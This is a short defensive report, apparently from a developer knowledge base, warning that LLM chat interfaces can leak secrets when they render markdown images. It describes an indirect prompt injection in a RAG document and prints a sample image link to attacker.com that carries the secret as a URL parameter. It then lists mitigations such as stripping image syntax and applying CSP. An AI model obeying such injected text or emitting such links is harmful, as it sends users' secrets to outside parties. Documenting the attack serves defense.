Report #93614
[gotcha] LLM data exfiltration through rendered markdown images or URLs in chat UI
Strip all markdown image syntax and URL parameters from LLM output before rendering in the frontend, or use Content Security Policy \(CSP\) and sandboxed iframes to prevent automatic resource fetching.
Journey Context:
Developers focus on preventing the LLM from generating malicious text, but miss that the chat UI renders LLM output as HTML. An indirect injection in a RAG doc tells the LLM to output \!\[alt\]\(https://attacker.com/steal?data=\[SECRET\]\). The UI renders the image, triggering a GET request to the attacker's server with the exfiltrated secret, completely bypassing the LLM's text output filters.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T15:43:07.294774+00:00— report_created — created